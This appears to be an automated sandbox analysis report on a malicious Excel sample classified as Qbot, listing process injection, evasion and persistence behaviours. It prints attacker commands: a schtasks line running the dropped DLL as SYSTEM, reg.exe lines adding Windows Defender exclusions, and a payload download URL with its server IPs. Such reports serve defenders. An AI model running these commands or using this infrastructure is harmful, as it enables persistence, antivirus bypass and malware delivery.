Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Application Data\Microsoft\Forms Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVREB76.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@25/6@0/3
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D523 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket, 6_2_1000D523
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7
Source: xls.xls OLE indicator, Workbook stream: true
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000ABA3 CreateToolhelp32Snapshot,memset,Process32First,Process32Next,CloseHandle, 6_2_1000ABA3
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{E2FE3E6D-C1F8-4CA3-893D-519B96E24CEA}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\{5AAEC833-6C77-49D4-9B40-99D59FAADF51}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{E2FE3E6D-C1F8-4CA3-893D-519B96E24CEA}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\{85FB811B-425C-42D1-AD62-706F36D732CD}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{5AAEC833-6C77-49D4-9B40-99D59FAADF51}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\Global\{85FB811B-425C-42D1-AD62-706F36D732CD}
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amstream.pdb source: explorer.exe, 00000007.00000003.622662373.0000000002781000.00000004.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019242A push 00000000h; mov dword ptr [esp], esi 6_2_0019276D
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019242A push 00000000h; mov dword ptr [esp], edi 6_2_0019288F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019242A push 00000000h; mov dword ptr [esp], ebx 6_2_001928C3
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_0019242A push 00000000h; mov dword ptr [esp], edi 6_2_00192B65
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191424 push 00000000h; mov dword ptr [esp], ecx 6_2_00191460
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191424 push 00000000h; mov dword ptr [esp], ecx 6_2_0019159D
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], ebp 6_2_0019376E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], edx 6_2_00193A0E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], esi 6_2_00193B55
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push esi; mov dword ptr [esp], 00000001h 6_2_00193D71
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], ecx 6_2_00193D9C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], ebp 6_2_00193E46
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], esi 6_2_00193E72
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], esi 6_2_00193F52
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00193726 push 00000000h; mov dword ptr [esp], ebp 6_2_00193F76
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push 00000000h; mov dword ptr [esp], esi 6_2_00192D71
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push 00000000h; mov dword ptr [esp], esi 6_2_00192E73
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push 00000000h; mov dword ptr [esp], esi 6_2_0019336F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push 00000000h; mov dword ptr [esp], ebp 6_2_001933F4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push edi; mov dword ptr [esp], 00000004h 6_2_0019340B
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00192C41 push 00000000h; mov dword ptr [esp], edx 6_2_0019346C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 push 00000000h; mov dword ptr [esp], ebp 6_2_00191DAF
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 push 00000000h; mov dword ptr [esp], ebp 6_2_00191F4B
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 push 00000000h; mov dword ptr [esp], ebp 6_2_0019223C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 push 00000000h; mov dword ptr [esp], ebx 6_2_001923A2
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191D89 push 00000000h; mov dword ptr [esp], ebp 6_2_00192400
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 push 00000000h; mov dword ptr [esp], ecx 6_2_001910E5
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 push 00000000h; mov dword ptr [esp], edx 6_2_0019112A
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 push 00000000h; mov dword ptr [esp], ecx 6_2_0019127C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 push edx; mov dword ptr [esp], 000FFFFFh 6_2_0019133C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00191000 push 00000000h; mov dword ptr [esp], esi 6_2_00191356
PE file contains sections with non-standard names
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name: .rdatat
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: 44467.7495993056[1].dat.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name: .rdatat
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.0.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name: .rdatat
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.7.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name: .rdatat
Source: Drezd.red.14.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name:
Source: Drezd.red.14.dr Static PE information: section name:
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000DFAD LoadLibraryA,GetProcAddress, 6_2_1000DFAD

Persistence and Installation Behavior:

barindex
Uses cmd line tools excessively to alter registry or file data
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: reg.exe Jump to behavior
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Drezd.red
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Drops PE files
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.7495993056[1].dat Jump to dropped file
Drops PE files to the user directory
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Windows\SysWOW64\explorer.exe File created: C:\Users\user\Drezd.red Jump to dropped file
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn mywmprn /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 18:03 /ET 18:15
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7

Hooking and other Techniques for Hiding and Protection:

barindex
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 1016 base: 44102D value: E9 BA 4C C4 FF Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 3016 base: 44102D value: E9 BA 4C C8 FF Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1160 Thread sleep count: 42 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1592 Thread sleep time: -104000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2420 Thread sleep count: 44 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1904 Thread sleep count: 79 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1904 Thread sleep time: -88000s >= -30000s Jump to behavior
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\explorer.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Windows\SysWOW64\regsvr32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.7495993056[1].dat Jump to dropped file
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\regsvr32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\SysWOW64\explorer.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\SysWOW64\regsvr32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D01F GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,GetSystemInfo,GetWindowsDirectoryW, 6_2_1000D01F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000AEB4 FindFirstFileW,FindNextFileW, 6_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0008AEB4 FindFirstFileW,FindNextFileW, 7_2_0008AEB4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000AEB4 FindFirstFileW,FindNextFileW, 13_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000CAEB4 FindFirstFileW,FindNextFileW, 14_2_000CAEB4

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10005F82 EntryPoint,OutputDebugStringA,GetModuleHandleA,GetModuleFileNameW,GetLastError,memset,MultiByteToWideChar,GetFileAttributesW,CreateThread,SetLastError, 6_2_10005F82
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000DFAD LoadLibraryA,GetProcAddress, 6_2_1000DFAD
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_00194495 or ebx, dword ptr fs:[00000030h] 6_2_00194495
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_001A4495 or ebx, dword ptr fs:[00000030h] 13_2_001A4495
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00085A61 RtlAddVectoredExceptionHandler, 7_2_00085A61
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000C5A61 RtlAddVectoredExceptionHandler, 14_2_000C5A61

HIPS / PFW / Operating System Protection Evasion:

barindex
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 44102D Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: F0000 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 44102D Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: C:\Windows\SysWOW64\explorer.exe base: F0000 protect: page read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 1016 base: B0000 value: 9C Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 1016 base: 44102D value: E9 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 3016 base: F0000 value: 9C Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory written: PID: 3016 base: 44102D value: E9 Jump to behavior
Yara detected hidden Macro 4.0 in Excel
Source: Yara match File source: xls.xls, type: SAMPLE
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn mywmprn /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 18:03 /ET 18:15 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ofsugluhreiu' /d '0' Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Csbfke' /d '0' Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: explorer.exe, 00000007.00000002.888554207.0000000000C30000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000002.888554207.0000000000C30000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000007.00000002.888554207.0000000000C30000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000831C2 CreateNamedPipeA, 7_2_000831C2
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000980C GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 6_2_1000980C
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D01F GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,GetSystemInfo,GetWindowsDirectoryW, 6_2_1000D01F

Stealing of Sensitive Information:

barindex
Yara detected Qbot
Source: Yara match File source: 7.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.3b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.622340870.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.635284743.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.619249193.00000000003B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.637039550.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.888219499.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.888209871.0000000000080000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Qbot
Source: Yara match File source: 7.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.3b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorer.exe.c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.622340870.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.635284743.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.619249193.00000000003B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.637039550.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.888219499.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.888209871.0000000000080000.00000040.00020000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 492442 Sample: xls.xls Startdate: 28/09/2021 Architecture: WINDOWS Score: 100 54 Found malware configuration 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 Document exploit detected (drops PE files) 2->58 60 10 other signatures 2->60 9 EXCEL.EXE 194 32 2->9         started        14 regsvr32.exe 2->14         started        16 regsvr32.exe 2->16         started        process3 dnsIp4 48 190.14.37.178, 49167, 80 OffshoreRacksSAPA Panama 9->48 50 185.183.96.67, 80 HSAE Netherlands 9->50 52 185.250.148.213, 80 FIRSTDC-ASRU Russian Federation 9->52 46 C:\Users\user\...\44467.7495993056[1].dat, PE32 9->46 dropped 76 Document exploit detected (UrlDownloadToFile) 9->76 18 regsvr32.exe 9->18         started        20 regsvr32.exe 9->20         started        22 regsvr32.exe 9->22         started        24 regsvr32.exe 14->24         started        27 regsvr32.exe 16->27         started        file5 signatures6 process7 signatures8 29 regsvr32.exe 18->29         started        68 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 24->68 70 Injects code into the Windows Explorer (explorer.exe) 24->70 72 Writes to foreign memory regions 24->72 74 2 other signatures 24->74 32 explorer.exe 8 1 24->32         started        process9 file10 78 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 29->78 80 Injects code into the Windows Explorer (explorer.exe) 29->80 82 Writes to foreign memory regions 29->82 86 2 other signatures 29->86 35 explorer.exe 8 1 29->35         started        44 C:\Users\user\Drezd.red, PE32 32->44 dropped 84 Uses cmd line tools excessively to alter registry or file data 32->84 38 reg.exe 1 32->38         started        40 reg.exe 1 32->40         started        signatures11 process12 signatures13 62 Uses cmd line tools excessively to alter registry or file data 35->62 64 Drops PE files to the user root directory 35->64 66 Uses schtasks.exe or at.exe to add and modify task schedules 35->66 42 schtasks.exe 35->42         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.183.96.67
 unknown Netherlands
60117 HSAE false
190.14.37.178
 unknown Panama
52469 OffshoreRacksSAPA false
185.250.148.213
 unknown Russian Federation
48430 FIRSTDC-ASRU false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://190.14.37.178/44467.7495993056.dat false
  • Avira URL Cloud: safe
 unknown